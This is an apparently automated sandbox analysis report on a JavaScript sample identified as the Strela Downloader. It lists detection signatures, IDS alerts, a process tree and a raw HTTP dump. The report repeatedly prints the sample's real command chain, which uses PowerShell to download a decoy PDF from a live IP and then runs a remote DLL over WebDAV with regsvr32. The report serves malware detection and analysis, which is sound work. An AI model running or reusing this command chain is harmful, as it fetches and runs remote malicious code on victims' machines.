Edit tour

Windows Analysis Report
3000822141700718957.js

Overview

General Information

Sample name:	3000822141700718957.js
Analysis ID:	1588987
MD5:	6f437e527308b826f61650bcf434030b
SHA1:	b1020e93dcac2119637c2f035c73f8160e9b3588
SHA256:	165087e9c314d7e08f02d6c84a037a342fb88fc1980c7727a061a650e4c89e8e
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5956 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2508 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6636 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6108 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3872 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3848 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2288 --field-trial-handle=1568,i,1981050005613067289,15213911925093291134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2848 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3988 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4684 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5956	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2508, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6636, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2508, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6636, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", ProcessId: 5956, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3988, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 2508, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 2508, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 2508, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 2508, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 2508, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", ProcessId: 5956, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2508, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6636, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3988, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4684, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3988, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3000822141700718957.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 2508, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:05:41.992207+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:05:45.161828+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:05:41.992207+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 3000822141700718957.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3000822141700718957.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3000822141700718957.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:05:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

